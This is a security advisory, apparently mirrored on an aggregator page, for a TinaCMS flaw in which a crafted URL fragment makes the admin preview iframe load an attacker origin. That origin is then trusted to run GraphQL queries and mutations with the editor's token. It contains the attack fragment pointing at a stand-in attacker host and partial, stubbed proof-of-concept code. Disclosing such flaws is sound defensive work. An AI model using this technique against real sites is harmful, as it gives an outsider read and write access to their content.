Résumé
TinaCMS admin preview iframe loads an attacker-controlled origin from the URL fragment
Détails de l’avis
Summary
The TinaCMS admin builds its preview <iframe src> from the /~/* hash-router splat without checking that the value stays same-origin. A fragment with a doubled slash (#/~//attacker.example/p) becomes the protocol-relative URL //attacker.example/p, so the admin frames an external site. That same unvalidated string derives expectedOrigin, the only trust anchor for the admin↔preview postMessage channel, so the attacker's frame is treated as trusted: it can submit any GraphQL operation, which the admin executes with the signed-in editor's token and posts back to the attacker's origin.
One link, opened by a logged-in editor, gives an unauthenticated remote attacker arbitrary read and write access to the site's content API as that editor.
Details
Root cause — the router splat becomes the frame source with no same-origin check:
packages/tinacms/src/admin/index.tsx:16 HashRouter as Router,
packages/tinacms/src/admin/index.tsx:329 path='/~/*'
packages/tinacms/src/admin/index.tsx:173 const [url, setURL] = React.useState(`/${params['*']}`);
packages/tinacms/src/admin/index.tsx:176 const paramURL = `/${params['*']}`;
packages/@tinacms/app/src/preview.tsx:24 src={props.url}
The leading / is meant to force a relative path, but react-router-dom@6.30.3 returns the splat with its own leading slash for /~//x, producing //x. The iframe has no sandbox attribute and the admin bundle ships no CSP.
The trust anchor is then computed from that same value:
packages/@tinacms/app/src/lib/graphql-reducer.ts:209-212 getExpectedPreviewOrigin(url)
packages/@tinacms/app/src/lib/preview-origin.ts:22 return new URL(url, baseOrigin || undefined).origin;
packages/@tinacms/app/src/lib/preview-origin.ts:43-46 event.origin !== expectedOrigin -> reject
Both guards pass for the attacker: event.origin is expectedOrigin, and event.source is the frame the admin itself loaded.
PreviewInner's URL-correction poll (packages/tinacms/src/admin/index.tsx:189-200) does not recover the frame: reading ref.current.contentWindow.location.href across origins throws an uncaught SecurityError, so setReportedURL never fires and no corrective navigate() happens. The PoC below includes that effect verbatim and the attack still completes.
Sink — the attacker's GraphQL string reaches the authenticated client, and the result goes back to the attacker:
packages/@tinacms/app/src/lib/graphql-reducer.ts:613-624 'open' handler; zod validates types only, not query content
packages/@tinacms/app/src/lib/graphql-reducer.ts:973-978 cms.api.tina.request(expandedQuery, { variables })
packages/@tinacms/app/src/lib/graphql-reducer.ts:497-505 postMessageToPreview(..., expectedOrigin)
expandQuery (packages/@tinacms/app/src/lib/expand-query.ts:3-18) is operation-agnostic, so mutations pass through unchanged.
Default-enabled: packages/@tinacms/app/src/App.tsx:70 always passes preview={Preview}, and packages/tinacms/src/admin/index.tsx:327 registers /~/* whenever preview is truthy — so the route exists in every tinacms build output and in tinacms dev.
Incomplete-fix note: tinacms@3.9.3 / @tinacms/app@2.5.6 (PR #7056, c491fc5) added the sender-side origin check, but never validated the URL that check compares against.
Affected-range basis, stated plainly: I tested only tinacms@3.12.1 / @tinacms/app@2.5.12 (commit 0d38acf). The ranges below are given as <= because the vulnerable lines are byte-identical across every commit available to me — a 123-commit shallow clone, earliest 8a86ffa (2026-06-26), which predates the 3.9.3 hardening release — but I did not fetch tags or test earlier releases, so the true lower bound is undetermined. Please narrow it from your own history.
Suggested fix: normalise the splat to a same-origin path before it becomes url (reject a leading / or \), and have getExpectedPreviewOrigin refuse any origin other than window.location.origin.
PoC
Safe, local, non-destructive. Two loopback origins stand in for the site and the attacker; no traffic leaves the machine and no content API is contacted. The victim page uses the repository's preview-origin.ts byte-for-byte and reproduces PreviewInner/Preview line-for-line from the cited files; cms.api.tina.request is stubbed to return a marker so no real backend is touched.
Environment used: Linux, Node v22.23.1, Google Chrome (/usr/bin/google-chrome) driven by playwright@1.49.0.
Setup
git clone https://github.com/tinacms/tinacms.git tinacms-poc
cd tinacms-poc && git checkout 0d38acfdd23143384b8787d5d772b713fa7af163
REPO=$PWD
mkdir -p /tmp/tina-poc/victim /tmp/tina-poc/attacker && cd /tmp/tina-poc
npm init -y >/dev/null
npm i --ignore-scripts react@18.3.1 react-dom@18.3.1 react-router-dom@6.30.3 esbuild@0.25.0 playwright@1.49.0
cp "$REPO/packages/@tinacms/app/src/lib/preview-origin.ts" ./preview-origin.ts
victim/admin.tsx — PreviewInner from packages/tinacms/src/admin/index.tsx:170-210, Preview from packages/@tinacms/app/src/preview.tsx:10-26, and the four graphql-reducer.ts steps (:209-212, :548-556, :613-624 + :973-978, :497-505):
import React from 'react';
import { createRoot } from 'react-dom/client';
import { HashRouter as Router, Route, Routes, useNavigate, useParams } from 'react-router-dom';
import { getExpectedPreviewOrigin, isFromTrustedPreviewOrigin, postMessageToPreview } from '../preview-origin';
const log = (m: string, x?: unknown) => console.log('[victim]', x === undefined ? m : `${m} ${JSON.stringify(x)}`);
// Stand-in for cms.api.tina.request (graphql-reducer.ts:977): in the real admin
// this is an authenticated call to the content API with the editor's token.
async function tinaRequest(query: string) {
log('cms.api.tina.request() called with attacker query', query);
return { data: { __POC_MARKER__: 'SIMULATED-AUTHENTICATED-CONTENT-API-RESPONSE' } };
}
function useGraphQLReducer(iframe: React.MutableRefObject<HTMLIFrameElement | null>, url: string) {
const expectedOrigin = React.useMemo(() => getExpectedPreviewOrigin(url), [url]); // :209-212
React.useEffect(() => {
log('expectedOrigin derived from preview url', { url, expectedOrigin });
(window as any).__poc_expectedOrigin = expectedOrigin;
}, [expectedOrigin, url]);
const handleMessage = React.useCallback(async (event: MessageEvent<any>) => {
if (!isFromTrustedPreviewOrigin({ event, expectedOrigin, peerWindow: iframe.current?.contentWindow })) return; // :548-556
if (event.data.type === 'open') { // :613-624
log('ACCEPTED "open" message from', event.origin);
const expandedData = await tinaRequest(event.data.query); // :973-978
postMessageToPreview(iframe.current?.contentWindow,
{ type: 'updateData', id: event.data.id, data: expandedData.data }, expectedOrigin); // :497-505
log('posted query result to', expectedOrigin);
}
}, [expectedOrigin]);
React.useEffect(() => {
window.addEventListener('message', handleMessage);
return () => window.removeEventListener('message', handleMessage);
}, [handleMessage]);
}
const Preview = (props: { url: string; iframeRef: React.MutableRefObject<HTMLIFrameElement | null> }) => {
useGraphQLReducer(props.iframeRef, props.url);
return <iframe data-test='tina-iframe' id='tina-iframe' ref={props.iframeRef}
className='h-full w-full bg-white' src={props.url} />; // preview.tsx:24
};
const PreviewInner = ({ preview }: { preview: any }) => { // admin/index.tsx:170-210
const params = useParams();
const navigate = useNavigate();
const [url, setURL] = React.useState(`/${params['*']}`);
const [reportedURL, setReportedURL] = React.useState<string | null>(null);
const ref = React.useRef<HTMLIFrameElement>(null);
Références
- https://github.com/advisories/GHSA-x34j-47hf-4xg7
- https://github.com/tinacms/tinacms/security/advisories/GHSA-x34j-47hf-4xg7
- https://github.com/tinacms/tinacms/pull/7522
- https://github.com/tinacms/tinacms/commit/b57dbf4b56201aef15cd92caa49fd12ab96bbecf
- https://github.com/tinacms/tinacms/releases/tag/@tinacms/app@2.5.14
- https://github.com/tinacms/tinacms/releases/tag/tinacms@3.14.0
Vulnérabilités liées
Tout Supply chain →- CRITICALCVE-2026-103922
Capacitor Android and iOS: remote content can be loaded at the app origin via the internal HTTP proxy path
- HIGHCVE-2026-101907
Axios: maxRedirects: 0 is not enforced by the fetch adapter, allowing redirect-based SSRF
- MEDIUMCVE-2026-96234
Microsoft Security Advisory CVE-2026-96234 - .NET and Visual Studio Information Disclosure Vulnerability
- MEDIUMCVE-2026-107804
Nginx UI: Bundled reverse proxy can bypass IP allowlists and enable shared login lockout
- MEDIUMCVE-2026-107718
AdonisJS: Unencoded route parameters can produce open redirects
- HIGHCVE-2026-61435
PraisonAI: Call API localhost-only authentication bypass via spoofed Host header